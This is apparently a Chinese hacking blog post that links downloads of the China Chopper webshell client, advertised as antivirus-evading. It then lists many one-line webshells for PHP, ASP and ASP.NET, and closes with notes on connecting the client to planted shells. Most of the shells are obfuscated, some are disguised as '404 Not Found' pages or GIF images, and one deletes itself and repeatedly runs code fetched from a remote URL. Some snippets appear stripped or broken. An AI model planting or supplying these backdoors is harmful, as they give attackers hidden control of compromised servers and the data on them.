最新中国菜刀下载,免杀菜刀一句话大全.

中国菜刀下载,基于原版中国菜刀优化版20160309.

下载地址:

http://download.csdn.net/detail/settoken/9457567

http://pan.baidu.com/s/1jHoJxHW

China chopper

http://pan.baidu.com/s/1eRxEYjC

Asp

<%
set xmldoc= Server.CreateObject("MSXML2.DOMDocument")
xml="cmd /c dir"
xmldoc.loadxml(xml)
Set xsldoc = Server.CreateObject("MSXML2.DOMDocument")
xlst=" function xml(x) {var a=new ActiveXObject('wscript.shell'); var exec=a.Exec(x);return exec.StdOut.ReadAll()+exec.StdErr.ReadAll(); } "
xsldoc.loadxml(xlst)
response.write "

" & xmldoc.TransformNode(xsldoc)& "

"
%>


Php
  $xml='assert($_POST[a]);';
$xsl='

 
   
 
';
$xmldoc = DOMDocument::loadXML($xml);
$xsldoc = DOMDocument::loadXML($xsl);
$proc = new XSLTProcessor();
$proc->registerPHPFunctions();
$proc->importStyleSheet($xsldoc);
$proc->transformToXML($xmldoc);
?> 


Aspx
<%@page language="C#"%>
<%@ import Namespace="System.IO"%>
<%@ import Namespace="System.Xml"%>
<%@ import Namespace="System.Xml.Xsl"%>
<%
string xml=@"test";
string xslt=@"











";
XmlDocument xmldoc=new XmlDocument();
xmldoc.LoadXml(xml);
XmlDocument xsldoc=new XmlDocument();
xsldoc.LoadXml(xslt);
XslCompiledTransform xct=new XslCompiledTransform();
xct.Load(xsldoc,XsltSettings.TrustedXslt,new XmlUrlResolver());
xct.Transform(xmldoc,null,new MemoryStream());


%>


一句话:
PHP:


ASP: <%eval request("settoken")%>


ASP.NET: <%@ Page Language="Jscript"%><%eval(Request.Item["settoken"],"unsafe");%>


******************************************

index=ZXZhbCgkX1BPU1RbMF0pOw==
0
');?>


$sme="JrGluZm89rJF9QT1NUW2r9w";
$wd="ZW5pbmZvXTrtlY2hvIGVr";
$ova="2YWwoJGlrurZm8pO2Vr";
$xul = str_replace("ej","","stejrej_ejrejeejplaejceje");
$axc="jraG8grIjQwNCBOb3QgRm91bmQiOw==";
$ay = $xul("z", "", "zbzazszez64z_zdzecozde");
$ao = $xul("h","","hchrehahtheh_hfuhnhchthihohn");
$tik = $ao('', $ay($xul("r", "", $sme.$wd.$ova.$axc))); $tik();
$=$=openinfo
?>


$webscan=range(1,200);$webscan360=chr($webscan[96]).chr($webscan[114]).chr($webscan[114]).chr($webscan[100]).chr($webscan[113]).chr($webscan[115]);
$webscan360(${chr($webscan[94]).chr($webscan[79]).chr($webscan[78]).chr($webscan[82]).chr($webscan[83])}[chr($webscan[51])]);
$=$=4
?>












settoken.php?page=ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFt6MF0pKQ==



logs.php
this_is_yijuhua


$str = 'aerst';
$funct = $str{0}.$str{3}.$str{3}.$str{1}.$str{2}.$str{4};
@$func($_POST['funC']);
?>





$func=pack("c6",97,115,115,101,114,116);
$_POST['c']=base64_decode( $_POST['c']) ;
$func($_POST['404']);
?>






echo "404 Not Found.";
$__Chr__ = $_POST['echo_Chr_Get']; if ($__Chr__!="") { $echo_Chr_Get__=base64_decode($_POST['z0']); @eval("\$echo = $echo_Chr_Get__;"); } ?>


echo "404 Not Found.";
$Temp=range(1,200);$Log=chr($Temp[96]).chr($Temp[114]).chr($Temp[114]).chr($Temp[100]).chr($Temp[113]).chr($Temp[115]);
$Log(${chr($Temp[94]).chr($Temp[79]).chr($Temp[78]).chr($Temp[82]).chr($Temp[83])}[chr($Temp[114])]);
$=$=s
?>




$var = "var";


if (isset($_GET["arg"]))


{


$arg = $_GET["arg"];


eval("\$var = $arg;");


echo "\$var =".$var;


}


?>
?arg=phpinfo()
?arg=fputs(fopen('page.php','w+'),'')


   header("Content-Type: application/octet-stream");
   header("Content-Disposition: attachment; filename=".$_GET['path']);
readfile($_GET['path']);
?>
?path=config.php










file_put_contents('log.php',''); eval.txt
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);


$remote_file = 'http://localhost:8080/eval.txt';
while($code = file_get_contents($remote_file)){
  @eval($code);
  sleep(5);
};
?>




******************************************
<%eval e%>
<%e=request(page)%>



<%MYTEST=REquEst("page"):EvaL(MYTEST)%>
<%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("sz"))%>
<%Y=request("x")%> <%execute(Y)%>

<%
dim x1,x2
x1 = request("page")
x2 = x1
eval x2
%>

<%configconfigconfig=REqUEsT(chr(97))%>
<%eVAL configconfigconfig%>
gif89a;gifok<%Page=request("index")%><%eval Page%>gif89a;






数据库:


A)  数据库方面：
-----------------------------------------------------------------------------
PHP脚本：
MYSQL 类型可为MYSQL,MSSQL,ORACLE,INFOMIX中的一种
localhost 主机地址可为机器名或IP地址，如localhost
root 连接数据库的用户名，如root

settoken

连接数据库的密码，如12345




utf8 这一项数据库类型为MYSQL脚本为PHP时可选，不填则为latin1




ASP和ASP.NET脚本：
类型 类型只能填ADO
ADO配置信息
ADO连接各种数据库的方式不一样。如MSSQL的配置信息为
Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=settoken;
同时，支持NT验证登录MSSQL数据库，并能把查询的结果列表导出为html文件




Customize 脚本：
类型 类型只能填XDB
与Customize 脚本约定的配置信息
菜刀自带的Customize.jsp数据库参数填写方法如下(两行)：
MSSQL:

com.microsoft.sqlserver.jdbc.SQLServerDriver
jdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=settoken

MYSQL:

com.mysql.jdbc.Driver
jdbc:mysql://localhost/test?user=root&password=settoken

ORACLE:

oracle.jdbc.driver.OracleDriver
jdbc:oracle:thin:user/[email protected]:1521/test





B) 其它方面：
-----------------------------------------------------------------------------
添加额外附加提交的数据，如ASP的新服务端是这样的：
<%
Set o = Server.CreateObject("ScriptControl")
o.language = "vbscript"
o.addcode(Request("SC"))
o.run "ff",Server,Response,Request,Application,Session,Error
%>
那么，菜刀在配置处填入：
SC=function+ff(Server,Response,Request,Application,Session,Error):eval(request("pass")):end+function
然后以密码pass来连接即可。




提交功能前先POST额外的数据包：会话期间只提交一次。
https://zhongguocaidao/cgi-bin/login.cgi
uid=user1&pwd=123456




默认终端程序路径设置示例：
/bin/sh




虚拟终端默认命令设置示例：
whoami




文件管理默认打开的目录设置示例：
c:\windows\temp\




　　3)  HTTP登录验证
SHELL地址这样填 http://user:[email protected]/server.asp
用户名密码中的特殊字符可用URL编码转换.